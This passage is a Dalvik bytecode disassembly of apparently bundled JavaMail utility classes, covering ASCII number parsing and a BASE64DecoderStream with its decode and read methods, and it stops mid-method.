0000008A goto :30
:8C
0000008C neg-int v1, v1
:8E
0000008E if-lt v3, p2, :A2
:92
00000092 if-eqz v2, :11C
:96
00000096 add-int/lit8 v0, p1, 0x1
0000009A if-le v3, v0, :10C
:9E
0000009E move v0, v1
:A0
000000A0 return v0
:A2
000000A2 add-int/lit8 v4, v3, 0x1
000000A6 aget-byte v3, p0, v3
000000AA int-to-char v3, v3
000000AC invoke-static Character->digit(C, I)I, v3, p3
000000B2 move-result v3
000000B4 if-gez v3, :C8
:B8
000000B8 new-instance v0, NumberFormatException
000000BC const-string v1, "illegal number"
000000C0 invoke-direct NumberFormatException-><init>(String)V, v0, v1
000000C6 throw v0
:C8
000000C8 if-ge v1, v5, :DC
:CC
000000CC new-instance v0, NumberFormatException
000000D0 const-string v1, "illegal number"
000000D4 invoke-direct NumberFormatException-><init>(String)V, v0, v1
000000DA throw v0
:DC
000000DC mul-int/2addr v1, p3
000000DE add-int v6, v0, v3
000000E2 if-ge v1, v6, :F6
:E6
000000E6 new-instance v0, NumberFormatException
000000EA const-string v1, "illegal number"
000000EE invoke-direct NumberFormatException-><init>(String)V, v0, v1
000000F4 throw v0
:F6
000000F6 sub-int/2addr v1, v3
000000F8 move v3, v4
000000FA goto :8E
:FC
000000FC new-instance v0, NumberFormatException
00000100 const-string v1, "illegal number"
00000104 invoke-direct NumberFormatException-><init>(String)V, v0, v1
0000010A throw v0
:10C
0000010C new-instance v0, NumberFormatException
00000110 const-string v1, "illegal number"
00000114 invoke-direct NumberFormatException-><init>(String)V, v0, v1
0000011A throw v0
:11C
0000011C neg-int v0, v1
0000011E goto :A0
:120
00000120 move v7, v1
00000122 move v1, v3
00000124 move v3, v7
00000126 goto :8E
.end method
.method public static parseLong([B, I, I)J
.registers 5
00000000 const/16 v0, 0xA
00000004 invoke-static ASCIIUtility->parseLong([B, I, I, I)J, p0, p1, p2, v0
0000000A move-result-wide v0
0000000C return-wide v0
.end method
.method public static parseLong([B, I, I, I)J
.registers 18
00000000 if-nez p0, :14
:4
00000004 new-instance v1, NumberFormatException
00000008 const-string v2, "null"
0000000C invoke-direct NumberFormatException-><init>(String)V, v1, v2
00000012 throw v1
:14
00000014 const-wide/16 v5, 0x0
00000018 const/4 v3, 0x0
0000001A move/from16 v0, p2
0000001E if-le v0, p1, :136
:22
00000022 aget-byte v1, p0, p1
00000026 const/16 v2, 0x2D
0000002A if-ne v1, v2, :96
:2E
0000002E const/4 v4, 0x1
00000030 const-wide/high16 v1, 0x8000000000000000
00000034 add-int/lit8 v3, p1, 0x1
:38
00000038 move/from16 v0, p3
0000003C int-to-long v7, v0
0000003E div-long v8, v1, v7
00000042 move/from16 v0, p2
00000046 if-ge v3, v0, :B0
:4A
0000004A add-int/lit8 v5, v3, 0x1
0000004E aget-byte v3, p0, v3
00000052 int-to-char v3, v3
00000054 move/from16 v0, p3
00000058 invoke-static Character->digit(C, I)I, v3, v0
0000005E move-result v3
00000060 if-gez v3, :A6
:64
00000064 new-instance v1, NumberFormatException
00000068 new-instance v2, StringBuilder
0000006C const-string v3, "illegal number: "
00000070 invoke-direct StringBuilder-><init>(String)V, v2, v3
00000076 invoke-static/range ASCIIUtility->toString([B, I, I)String, v14 .. v16
0000007C move-result-object v3
0000007E invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
00000084 move-result-object v2
00000086 invoke-virtual StringBuilder->toString()String, v2
0000008C move-result-object v2
0000008E invoke-direct NumberFormatException-><init>(String)V, v1, v2
00000094 throw v1
:96
00000096 const-wide v1, 0x8000000000000001
000000A0 move v4, v3
000000A2 move v3, p1
000000A4 goto :38
:A6
000000A6 neg-int v3, v3
000000A8 int-to-long v6, v3
000000AA move v3, v5
000000AC move-wide v12, v6
000000AE move-wide v5, v12
:B0
000000B0 move/from16 v0, p2
000000B4 if-lt v3, v0, :C8
:B8
000000B8 if-eqz v4, :156
:BC
000000BC add-int/lit8 v1, p1, 0x1
000000C0 if-le v3, v1, :146
:C4
000000C4 move-wide v1, v5
:C6
000000C6 return-wide v1
:C8
000000C8 add-int/lit8 v7, v3, 0x1
000000CC aget-byte v3, p0, v3
000000D0 int-to-char v3, v3
000000D2 move/from16 v0, p3
000000D6 invoke-static Character->digit(C, I)I, v3, v0
000000DC move-result v3
000000DE if-gez v3, :F2
:E2
000000E2 new-instance v1, NumberFormatException
000000E6 const-string v2, "illegal number"
000000EA invoke-direct NumberFormatException-><init>(String)V, v1, v2
000000F0 throw v1
:F2
000000F2 cmp-long v10, v5, v8
000000F6 if-gez v10, :10A
:FA
000000FA new-instance v1, NumberFormatException
000000FE const-string v2, "illegal number"
00000102 invoke-direct NumberFormatException-><init>(String)V, v1, v2
00000108 throw v1
:10A
0000010A move/from16 v0, p3
0000010E int-to-long v10, v0
00000110 mul-long/2addr v5, v10
00000112 int-to-long v10, v3
00000114 add-long/2addr v10, v1
00000116 cmp-long v10, v5, v10
0000011A if-gez v10, :12E
:11E
0000011E new-instance v1, NumberFormatException
00000122 const-string v2, "illegal number"
00000126 invoke-direct NumberFormatException-><init>(String)V, v1, v2
0000012C throw v1
:12E
0000012E int-to-long v10, v3
00000130 sub-long/2addr v5, v10
00000132 move v3, v7
00000134 goto :B0
:136
00000136 new-instance v1, NumberFormatException
0000013A const-string v2, "illegal number"
0000013E invoke-direct NumberFormatException-><init>(String)V, v1, v2
00000144 throw v1
:146
00000146 new-instance v1, NumberFormatException
0000014A const-string v2, "illegal number"
0000014E invoke-direct NumberFormatException-><init>(String)V, v1, v2
00000154 throw v1
:156
00000156 neg-long v1, v5
00000158 goto :C6
.end method
.method public static toString(ByteArrayInputStream)String
.registers 7
00000000 const/4 v0, 0x0
00000002 invoke-virtual ByteArrayInputStream->available()I, p0
00000008 move-result v2
0000000A new-array v3, v2, [C
0000000E new-array v4, v2, [B
00000012 invoke-virtual ByteArrayInputStream->read([B, I, I)I, p0, v4, v0, v2
:18
00000018 if-lt v0, v2, :28
:1C
0000001C new-instance v0, String
00000020 invoke-direct String-><init>([C)V, v0, v3
00000026 return-object v0
:28
00000028 add-int/lit8 v1, v0, 0x1
0000002C aget-byte v5, v4, v0
00000030 and-int/lit16 v5, v5, 0xFF
00000034 int-to-char v5, v5
00000036 aput-char v5, v3, v0
0000003A move v0, v1
0000003C goto :18
.end method
.method public static toString([B, I, I)String
.registers 9
00000000 sub-int v3, p2, p1
00000004 new-array v4, v3, [C
00000008 const/4 v0, 0x0
0000000A move v1, v0
:C
0000000C if-lt v1, v3, :1C
:10
00000010 new-instance v0, String
00000014 invoke-direct String-><init>([C)V, v0, v4
0000001A return-object v0
:1C
0000001C add-int/lit8 v2, v1, 0x1
00000020 add-int/lit8 v0, p1, 0x1
00000024 aget-byte v5, p0, p1
00000028 and-int/lit16 v5, v5, 0xFF
0000002C int-to-char v5, v5
0000002E aput-char v5, v4, v1
00000032 move p1, v0
00000034 move v1, v2
00000036 goto :C
.end method
#--------------------------------------------------------------------------------
.class public BASE64DecoderStream
.super FilterInputStream
.source ""
.field private static final pem_array:[C
.field private static final pem_convert_array:[B
.field private buffer:[B
.field private bufsize:I
.field private ignoreErrors:Z
.field private index:I
.field private input_buffer:[B
.field private input_len:I
.field private input_pos:I
.method static constructor <clinit>()V
.registers 4
00000000 const/4 v0, 0x0
00000002 const/16 v1, 0x40
00000006 new-array v1, v1, [C
0000000A fill-array-data v1, :60
00000010 sput-object v1, BASE64DecoderStream->pem_array:[C
00000014 const/16 v1, 0x100
00000018 new-array v1, v1, [B
0000001C sput-object v1, BASE64DecoderStream->pem_convert_array:[B
00000020 move v1, v0
:22
00000022 const/16 v2, 0xFF
00000026 if-lt v1, v2, :36
:2A
0000002A sget-object v1, BASE64DecoderStream->pem_array:[C
0000002E array-length v1, v1
00000030 if-lt v0, v1, :46
:34
00000034 return-void
:36
00000036 sget-object v2, BASE64DecoderStream->pem_convert_array:[B
0000003A const/4 v3, 0xFFFFFFFFFFFFFFFF
0000003C aput-byte v3, v2, v1
00000040 add-int/lit8 v1, v1, 0x1
00000044 goto :22
:46
00000046 sget-object v1, BASE64DecoderStream->pem_convert_array:[B
0000004A sget-object v2, BASE64DecoderStream->pem_array:[C
0000004E aget-char v2, v2, v0
00000052 int-to-byte v3, v0
00000054 aput-byte v3, v1, v2
00000058 add-int/lit8 v0, v0, 0x1
0000005C goto :2A
00000060 .array-data 2 x 0x40
0x41
0x42
0x43
0x44
0x45
0x46
0x47
0x48
0x49
0x4A
0x4B
0x4C
0x4D
0x4E
0x4F
0x50
0x51
0x52
0x53
0x54
0x55
0x56
0x57
0x58
0x59
0x5A
0x61
0x62
0x63
0x64
0x65
0x66
0x67
0x68
0x69
0x6A
0x6B
0x6C
0x6D
0x6E
0x6F
0x70
0x71
0x72
0x73
0x74
0x75
0x76
0x77
0x78
0x79
0x7A
0x30
0x31
0x32
0x33
0x34
0x35
0x36
0x37
0x38
0x39
0x2B
0x2F
.end array-data
.end method
.method public constructor <init>(InputStream)V
.registers 5
00000000 const/4 v0, 0x0
00000002 invoke-direct FilterInputStream-><init>(InputStream)V, p0, p1
00000008 const/4 v1, 0x3
0000000A new-array v1, v1, [B
0000000E iput-object v1, p0, BASE64DecoderStream->buffer:[B
00000012 iput v0, p0, BASE64DecoderStream->bufsize:I
00000016 iput v0, p0, BASE64DecoderStream->index:I
0000001A const/16 v1, 0x1FFE
0000001E new-array v1, v1, [B
00000022 iput-object v1, p0, BASE64DecoderStream->input_buffer:[B
00000026 iput v0, p0, BASE64DecoderStream->input_pos:I
0000002A iput v0, p0, BASE64DecoderStream->input_len:I
0000002E iput-boolean v0, p0, BASE64DecoderStream->ignoreErrors:Z
:32
00000032 const-string v1, "mail.mime.base64.ignoreerrors"
00000036 invoke-static System->getProperty(String)String, v1
0000003C move-result-object v1
0000003E if-eqz v1, :54
:42
00000042 const-string v2, "false"
00000046 invoke-virtual String->equalsIgnoreCase(String)Z, v1, v2
0000004C move-result v1
0000004E if-nez v1, :54
:52
00000052 const/4 v0, 0x1
:54
00000054 iput-boolean v0, p0, BASE64DecoderStream->ignoreErrors:Z
:58
00000058 return-void
:5A
0000005A move-exception v0
0000005C goto :58
.catch SecurityException {:32 .. :58} :5A
.end method
.method public constructor <init>(InputStream, Z)V
.registers 5
00000000 const/4 v1, 0x0
00000002 invoke-direct FilterInputStream-><init>(InputStream)V, p0, p1
00000008 const/4 v0, 0x3
0000000A new-array v0, v0, [B
0000000E iput-object v0, p0, BASE64DecoderStream->buffer:[B
00000012 iput v1, p0, BASE64DecoderStream->bufsize:I
00000016 iput v1, p0, BASE64DecoderStream->index:I
0000001A const/16 v0, 0x1FFE
0000001E new-array v0, v0, [B
00000022 iput-object v0, p0, BASE64DecoderStream->input_buffer:[B
00000026 iput v1, p0, BASE64DecoderStream->input_pos:I
0000002A iput v1, p0, BASE64DecoderStream->input_len:I
0000002E iput-boolean v1, p0, BASE64DecoderStream->ignoreErrors:Z
00000032 iput-boolean p2, p0, BASE64DecoderStream->ignoreErrors:Z
00000036 return-void
.end method
.method private decode([B, I, I)I
.registers 14
00000000 const/4 v9, 0x2
00000002 const/4 v0, 0x1
00000004 const/4 v8, 0xFFFFFFFFFFFFFFFE
00000006 const/4 v1, 0x0
00000008 const/4 v7, 0xFFFFFFFFFFFFFFFF
0000000A move v5, p2
:C
0000000C const/4 v2, 0x3
0000000E if-ge p3, v2, :18
:12
00000012 sub-int v0, v5, p2
:16
00000016 return v0
:18
00000018 move v4, v1
0000001A move v2, v1
:1C
0000001C const/4 v3, 0x4
0000001E if-lt v2, v3, :5C
:22
00000022 add-int/lit8 v2, v5, 0x2
00000026 and-int/lit16 v3, v4, 0xFF
0000002A int-to-byte v3, v3
0000002C aput-byte v3, p1, v2
00000030 shr-int/lit8 v2, v4, 0x8
00000034 add-int/lit8 v3, v5, 0x1
00000038 and-int/lit16 v4, v2, 0xFF
0000003C int-to-byte v4, v4
0000003E aput-byte v4, p1, v3
00000042 shr-int/lit8 v2, v2, 0x8
00000046 and-int/lit16 v2, v2, 0xFF
0000004A int-to-byte v2, v2
0000004C aput-byte v2, p1, v5
00000050 add-int/lit8 p3, p3, 0xFFFFFFFFFFFFFFFD
00000054 add-int/lit8 v2, v5, 0x3
00000058 move v5, v2
0000005A goto :C
:5C
0000005C invoke-direct BASE64DecoderStream->getByte()I, p0
00000062 move-result v6
00000064 if-eq v6, v7, :6C
:68
00000068 if-ne v6, v8, :200
:6C
0000006C if-ne v6, v7, :10A
:70
00000070 if-nez v2, :7A
:74
00000074 sub-int v0, v5, p2
00000078 goto :16
:7A
0000007A iget-boolean v1, p0, BASE64DecoderStream->ignoreErrors:Z
0000007E if-nez v1, :C8
:82
00000082 new-instance v0, IOException
00000086 new-instance v1, StringBuilder
0000008A const-string v3, "Error in encoded stream: needed 4 valid base64 characters but only got "
0000008E invoke-direct StringBuilder-><init>(String)V, v1, v3
00000094 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v2
0000009A move-result-object v1
0000009C const-string v2, " before EOF"
000000A0 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000A6 move-result-object v1
000000A8 invoke-direct BASE64DecoderStream->recentChars()String, p0
000000AE move-result-object v2
000000B0 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000B6 move-result-object v1
000000B8 invoke-virtual StringBuilder->toString()String, v1
000000BE move-result-object v1
000000C0 invoke-direct IOException-><init>(String)V, v0, v1
000000C6 throw v0
:C8
000000C8 move v3, v0
:CA
000000CA add-int/lit8 v1, v2, 0xFFFFFFFFFFFFFFFF
000000CE if-nez v1, :214
:D2
000000D2 add-int/lit8 v2, v2, 0x1
000000D6 shl-int/lit8 v1, v4, 0x6
:DA
000000DA const/4 v4, 0x4
000000DC if-lt v2, v4, :16C
:E0
000000E0 shr-int/lit8 v1, v1, 0x8
000000E4 if-ne v0, v9, :F6
:E8
000000E8 add-int/lit8 v2, v5, 0x1
000000EC and-int/lit16 v3, v1, 0xFF
000000F0 int-to-byte v3, v3
000000F2 aput-byte v3, p1, v2
:F6
000000F6 shr-int/lit8 v1, v1, 0x8
000000FA and-int/lit16 v1, v1, 0xFF
000000FE int-to-byte v1, v1
00000100 aput-byte v1, p1, v5
00000104 add-int/2addr v0, v5
00000106 sub-int/2addr v0, p2
00000108 goto :16
:10A
0000010A if-ge v2, v9, :15C
:10E
0000010E iget-boolean v3, p0, BASE64DecoderStream->ignoreErrors:Z
00000112 if-nez v3, :15C
:116
00000116 new-instance v0, IOException
0000011A new-instance v1, StringBuilder
0000011E const-string v3, "Error in encoded stream: needed at least 2 valid base64 characters, but only got "
00000122 invoke-direct StringBuilder-><init>(String)V, v1, v3
00000128 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v2
0000012E move-result-object v1
00000130 const-string v2, " before padding character (=)"
00000134 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000013A move-result-object v1
0000013C invoke-direct BASE64DecoderStream->recentChars()String, p0
00000142 move-result-object v2
00000144 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000014A move-result-object v1
0000014C invoke-virtual StringBuilder->toString()String, v1
00000152 move-result-object v1
00000154 invoke-direct IOException-><init>(String)V, v0, v1
0000015A throw v0
:15C
0000015C if-nez v2, :168
:160
00000160 sub-int v0, v5, p2
00000164 goto/16 :16
:168
00000168 move v3, v1
0000016A goto :CA
:16C
0000016C if-nez v3, :1F4
:170
00000170 invoke-direct BASE64DecoderStream->getByte()I, p0
00000176 move-result v4
00000178 if-ne v4, v7, :1B6
:17C
0000017C iget-boolean v4, p0, BASE64DecoderStream->ignoreErrors:Z
00000180 if-nez v4, :1F4
:184
00000184 new-instance v0, IOException
00000188 new-instance v1, StringBuilder
0000018C const-string v2, "Error in encoded stream: hit EOF while looking for padding characters (=)"
00000190 invoke-direct StringBuilder-><init>(String)V, v1, v2
00000196 invoke-direct BASE64DecoderStream->recentChars()String, p0
0000019C move-result-object v2
0000019E invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000001A4 move-result-object v1
000001A6 invoke-virtual StringBuilder->toString()String, v1
000001AC move-result-object v1
000001AE invoke-direct IOException-><init>(String)V, v0, v1
000001B4 throw v0
:1B6
000001B6 if-eq v4, v8, :1F4
:1BA
000001BA iget-boolean v4, p0, BASE64DecoderStream->ignoreErrors:Z
000001BE if-nez v4, :1F4
:1C2
000001C2 new-instance v0, IOException
000001C6 new-instance v1, StringBuilder
000001CA const-string v2, "Error in encoded stream: found valid base64 character after a padding character (=)"
000001CE invoke-direct StringBuilder-><init>(String)V, v1, v2
000001D4 invoke-direct BASE64DecoderStream->recentChars()String, p0
000001DA move-result-object v2
000001DC invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000001E2 move-result-object v1
000001E4 invoke-virtual StringBuilder->toString()String, v1
000001EA move-result-object v1
000001EC invoke-direct IOException-><init>(String)V, v0, v1
000001F2 throw v0
:1F4
000001F4 shl-int/lit8 v1, v1, 0x6
000001F8 add-int/lit8 v2, v2, 0x1
000001FC goto/16 :DA
:200
00000200 shl-int/lit8 v4, v4, 0x6
00000204 add-int/lit8 v3, v2, 0x1
00000208 or-int v2, v4, v6
0000020C move v4, v2
0000020E move v2, v3
00000210 goto/16 :1C
:214
00000214 move v0, v1
00000216 goto/16 :D2
.end method
.method public static decode([B)[B
.registers 11
00000000 const/4 v1, 0x2
00000002 const/4 v2, 0x0
00000004 const/16 v9, 0x3D
00000008 array-length v0, p0
0000000A div-int/lit8 v0, v0, 0x4
0000000E mul-int/lit8 v0, v0, 0x3
00000012 if-nez v0, :18
:16
00000016 return-object p0
:18
00000018 array-length v3, p0
0000001A add-int/lit8 v3, v3, 0xFFFFFFFFFFFFFFFF
0000001E aget-byte v3, p0, v3
00000022 if-ne v3, v9, :3C
:26
00000026 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
0000002A array-length v3, p0
0000002C add-int/lit8 v3, v3, 0xFFFFFFFFFFFFFFFE
00000030 aget-byte v3, p0, v3
00000034 if-ne v3, v9, :3C
:38
00000038 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
:3C
0000003C new-array v5, v0, [B
00000040 array-length v0, p0
00000042 move v6, v2
00000044 move v7, v0
:46
00000046 if-gtz v7, :4E
:4A
0000004A move-object p0, v5
0000004C goto :16
:4E
0000004E const/4 v0, 0x3
00000050 sget-object v3, BASE64DecoderStream->pem_convert_array:[B
00000054 add-int/lit8 v8, v2, 0x1
00000058 aget-byte v2, p0, v2
0000005C and-int/lit16 v2, v2, 0xFF
00000060 aget-byte v2, v3, v2
00000064 shl-int/lit8 v2, v2, 0x6
00000068 sget-object v3, BASE64DecoderStream->pem_convert_array:[B
0000006C add-int/lit8 v4, v8, 0x1
00000070 aget-byte v8, p0, v8
00000074 and-int/lit16 v8, v8, 0xFF
00000078 aget-byte v3, v3, v8
0000007C or-int/2addr v2, v3
0000007E shl-int/lit8 v2, v2, 0x6
00000082 aget-byte v3, p0, v4
00000086 if-eq v3, v9, :10A
:8A
0000008A sget-object v8, BASE64DecoderStream->pem_convert_array:[B
0000008E add-int/lit8 v3, v4, 0x1
00000092 aget-byte v4, p0, v4
00000096 and-int/lit16 v4, v4, 0xFF
0000009A aget-byte v4, v8, v4
0000009E or-int/2addr v2, v4
:A0
000000A0 shl-int/lit8 v2, v2, 0x6
000000A4 aget-byte v4, p0, v3
000000A8 if-eq v4, v9, :110
:AC
000000AC sget-object v8, BASE64DecoderStream->pem_convert_array:[B
000000B0 add-int/lit8 v4, v3, 0x1
000000B4 aget-byte v3, p0, v3
000000B8 and-int/lit16 v3, v3, 0xFF
000000BC aget-byte v3, v8, v3
000000C0 or-int/2addr v2, v3
000000C2 move v3, v4
:C4
000000C4 if-le v0, v1, :D6
:C8
000000C8 add-int/lit8 v4, v6, 0x2
000000CC and-int/lit16 v8, v2, 0xFF
000000D0 int-to-byte v8, v8
000000D2 aput-byte v8, v5, v4
:D6
000000D6 shr-int/lit8 v2, v2, 0x8
000000DA const/4 v4, 0x1
000000DC if-le v0, v4, :EE
:E0
000000E0 add-int/lit8 v4, v6, 0x1
000000E4 and-int/lit16 v8, v2, 0xFF
000000E8 int-to-byte v8, v8
000000EA aput-byte v8, v5, v4
:EE
000000EE shr-int/lit8 v2, v2, 0x8
000000F2 and-int/lit16 v2, v2, 0xFF
000000F6 int-to-byte v2, v2
000000F8 aput-byte v2, v5, v6
000000FC add-int/2addr v0, v6
000000FE add-int/lit8 v2, v7, 0xFFFFFFFFFFFFFFFC
00000102 move v6, v0
00000104 move v7, v2
00000106 move v2, v3
00000108 goto :46
:10A
0000010A move v0, v1
0000010C move v3, v4
0000010E goto :A0
:110
00000110 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
00000114 goto :C4
.end method
.method private getByte()I
.registers 5
00000000 const/4 v0, 0xFFFFFFFFFFFFFFFF
:2
00000002 iget v1, p0, BASE64DecoderStream->input_pos:I
00000006 iget v2, p0, BASE64DecoderStream->input_len:I
0000000A if-lt v1, v2, :32
:E
0000000E iget-object v1, p0, BASE64DecoderStream->in:InputStream
00000012 iget-object v2, p0, BASE64DecoderStream->input_buffer:[B
00000016 invoke-virtual InputStream->read([B)I, v1, v2
0000001C move-result v1
0000001E iput v1, p0, BASE64DecoderStream->input_len:I
:22
00000022 iget v1, p0, BASE64DecoderStream->input_len:I
00000026 if-gtz v1, :2C
:2A
0000002A return v0
:2C
0000002C const/4 v1, 0x0
0000002E iput v1, p0, BASE64DecoderStream->input_pos:I
:32
00000032 iget-object v1, p0, BASE64DecoderStream->input_buffer:[B
00000036 iget v2, p0, BASE64DecoderStream->input_pos:I
0000003A add-int/lit8 v3, v2, 0x1
0000003E iput v3, p0, BASE64DecoderStream->input_pos:I
00000042 aget-byte v1, v1, v2
00000046 and-int/lit16 v1, v1, 0xFF
0000004A const/16 v2, 0x3D
0000004E if-ne v1, v2, :56
:52
00000052 const/4 v0, 0xFFFFFFFFFFFFFFFE
00000054 goto :2A
:56
00000056 sget-object v2, BASE64DecoderStream->pem_convert_array:[B
0000005A aget-byte v1, v2, v1
0000005E if-eq v1, v0, :2
:62
00000062 move v0, v1
00000064 goto :2A
:66
00000066 move-exception v1
00000068 goto :2A
.catch EOFException {:E .. :22} :66
.end method
.method private recentChars()String
.registers 5
00000000 const/16 v1, 0xA
00000004 const-string v0, ""
00000008 iget v2, p0, BASE64DecoderStream->input_pos:I
0000000C if-le v2, v1, :86
:10
00000010 move v2, v1
:12
00000012 if-lez v2, :84
:16
00000016 new-instance v1, StringBuilder
0000001A invoke-static String->valueOf(Object)String, v0
00000020 move-result-object v0
00000022 invoke-direct StringBuilder-><init>(String)V, v1, v0
00000028 const-string v0, ", the "
0000002C invoke-virtual StringBuilder->append(String)StringBuilder, v1, v0
00000032 move-result-object v0
00000034 invoke-virtual StringBuilder->append(I)StringBuilder, v0, v2
0000003A move-result-object v0
0000003C const-string v1, " most recent characters were: \""
00000040 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000046 move-result-object v0
00000048 invoke-virtual StringBuilder->toString()String, v0
0000004E move-result-object v1
00000050 iget v0, p0, BASE64DecoderStream->input_pos:I
00000054 sub-int/2addr v0, v2
:56
00000056 iget v2, p0, BASE64DecoderStream->input_pos:I
0000005A if-lt v0, v2, :8E
:5E
0000005E new-instance v0, StringBuilder
00000062 invoke-static String->valueOf(Object)String, v1
00000068 move-result-object v1
0000006A invoke-direct StringBuilder-><init>(String)V, v0, v1
00000070 const-string v1, "\""
00000074 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000007A move-result-object v0
0000007C invoke-virtual StringBuilder->toString()String, v0
00000082 move-result-object v0
:84
00000084 return-object v0
:86
00000086 iget v1, p0, BASE64DecoderStream->input_pos:I
0000008A move v2, v1
0000008C goto :12
:8E
0000008E iget-object v2, p0, BASE64DecoderStream->input_buffer:[B
00000092 aget-byte v2, v2, v0
00000096 and-int/lit16 v2, v2, 0xFF
0000009A int-to-char v2, v2
0000009C packed-switch v2, :184
:A2
000000A2 const/16 v3, 0x20
000000A6 if-lt v2, v3, :152
:AA
000000AA const/16 v3, 0x7F
000000AE if-ge v2, v3, :152
:B2
000000B2 new-instance v3, StringBuilder
000000B6 invoke-static String->valueOf(Object)String, v1
000000BC move-result-object v1
000000BE invoke-direct StringBuilder-><init>(String)V, v3, v1
000000C4 invoke-virtual StringBuilder->append(C)StringBuilder, v3, v2
000000CA move-result-object v1
000000CC invoke-virtual StringBuilder->toString()String, v1
000000D2 move-result-object v1
:D4
000000D4 add-int/lit8 v0, v0, 0x1
000000D8 goto :56
:DA
000000DA new-instance v2, StringBuilder
000000DE invoke-static String->valueOf(Object)String, v1
000000E4 move-result-object v1
000000E6 invoke-direct StringBuilder-><init>(String)V, v2, v1
000000EC const-string v1, "\\r"
000000F0 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
000000F6 move-result-object v1
000000F8 invoke-virtual StringBuilder->toString()String, v1
000000FE move-result-object v1
00000100 goto :D4
:102
00000102 new-instance v2, StringBuilder
00000106 invoke-static String->valueOf(Object)String, v1
0000010C move-result-object v1
0000010E invoke-direct StringBuilder-><init>(String)V, v2, v1
00000114 const-string v1, "\\n"
00000118 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
0000011E move-result-object v1
00000120 invoke-virtual StringBuilder->toString()String, v1
00000126 move-result-object v1
00000128 goto :D4
:12A
0000012A new-instance v2, StringBuilder
0000012E invoke-static String->valueOf(Object)String, v1
00000134 move-result-object v1
00000136 invoke-direct StringBuilder-><init>(String)V, v2, v1
0000013C const-string v1, "\\t"
00000140 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
00000146 move-result-object v1
00000148 invoke-virtual StringBuilder->toString()String, v1
0000014E move-result-object v1
00000150 goto :D4
:152
00000152 new-instance v3, StringBuilder
00000156 invoke-static String->valueOf(Object)String, v1
0000015C move-result-object v1
0000015E invoke-direct StringBuilder-><init>(String)V, v3, v1
00000164 const-string v1, "\\"
00000168 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v1
0000016E move-result-object v1
00000170 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v2
00000176 move-result-object v1
00000178 invoke-virtual StringBuilder->toString()String, v1
0000017E move-result-object v1
00000180 goto :D4
00000184 .packed-switch 0x9
:12A
:102
:A2
:A2
:DA
.end packed-switch
.end method
.method public available()I
.registers 4
00000000 iget-object v0, p0, BASE64DecoderStream->in:InputStream
00000004 invoke-virtual InputStream->available()I, v0
0000000A move-result v0
0000000C mul-int/lit8 v0, v0, 0x3
00000010 div-int/lit8 v0, v0, 0x4
00000014 iget v1, p0, BASE64DecoderStream->bufsize:I
00000018 iget v2, p0, BASE64DecoderStream->index:I
0000001C sub-int/2addr v1, v2
0000001E add-int/2addr v0, v1
00000020 return v0
.end method
.method public markSupported()Z
.registers 2
00000000 const/4 v0, 0x0
00000002 return v0
.end method
.method public read()I
.registers 4
00000000 const/4 v2, 0x0
00000002 iget v0, p0, BASE64DecoderStream->index:I
00000006 iget v1, p0, BASE64DecoderStream->bufsize:I
0000000A if-lt v0, v1, :34
:E
0000000E iget-object v0, p0, BASE64DecoderStream->buffer:[B
00000012 iget-object v1, p0, BASE64DecoderStream->buffer:[B
00000016 array-length v1, v1
00000018 invoke-direct BASE64DecoderStream->decode([B, I, I)I, p0, v0, v2, v1
0000001E move-result v0
00000020 iput v0, p0, BASE64DecoderStream->bufsize:I
00000024 iget v0, p0, BASE64DecoderStream->bufsize:I
00000028 if-gtz v0, :30
:2C
0000002C const/4 v0, 0xFFFFFFFFFFFFFFFF
:2E
0000002E return v0
:30
00000030 iput v2, p0, BASE64DecoderStream->index:I
:34
00000034 iget-object v0, p0, BASE64DecoderStream->buffer:[B
00000038 iget v1, p0, BASE64DecoderStream->index:I
0000003C add-int/lit8 v2, v1, 0x1
00000040 iput v2, p0, BASE64DecoderStream->index:I
00000044 aget-byte v0, v0, v1
00000048 and-int/lit16 v0, v0, 0xFF
0000004C goto :2E
.end method
.method public read([B, I, I)I
.registers 10
00000000 const/4 v2, 0xFFFFFFFFFFFFFFFF
00000002 move v0, p2
:4
00000004 iget v1, p0, BASE64DecoderStream->index:I
00000008 iget v3, p0, BASE64DecoderStream->bufsize:I
0000000C if-ge v1, v3, :14
:10
00000010 if-gtz p3, :4E
:14
00000014 iget v1, p0, BASE64DecoderStream->index:I
00000018 iget v3, p0, BASE64DecoderStream->bufsize:I
0000001C if-lt v1, v3, :2A
:20
00000020 const/4 v1, 0x0
00000022 iput v1, p0, BASE64DecoderStream->index:I
00000026 iput v1, p0, BASE64DecoderStream->bufsize:I
:2A
0000002A div-int/lit8 v1, p3, 0x3
0000002E mul-int/lit8 v1, v1, 0x3
00000032 if-lez v1, :9A
:36
00000036 invoke-direct BASE64DecoderStream->decode([B, I, I)I, p0, p1, v0, v1
0000003C move-result v3
0000003E add-int/2addr v0, v3
00000040 sub-int/2addr p3, v3
00000042 if-eq v3, v1, :9A
:46
00000046 if-ne v0, p2, :72
:4A
0000004A move v0, v2
:4C
0000004C return v0
:4E
0000004E add-int/lit8 v1, v0, 0x1
00000052 iget-object v3, p0, BASE64DecoderStream->buffer:[B
00000056 iget v4, p0, BASE64DecoderStream->index:I
0000005A add-int/lit8 v5, v4, 0x1
0000005E iput v5, p0, BASE64DecoderStream->index:I
00000062 aget-byte v3, v3, v4
00000066 aput-byte v3, p1, v0
0000006A add-int/lit8 p3, p3, 0xFFFFFFFFFFFFFFFF
0000006E move v0, v1
00000070 goto :4
:72
00000072 sub-int/2addr v0, p2
00000074 goto :4C
:76
00000076 invoke-virtual BASE64DecoderStream->read()I, p0
0000007C move-result v3
0000007E if-ne v3, v2, :8A
:82
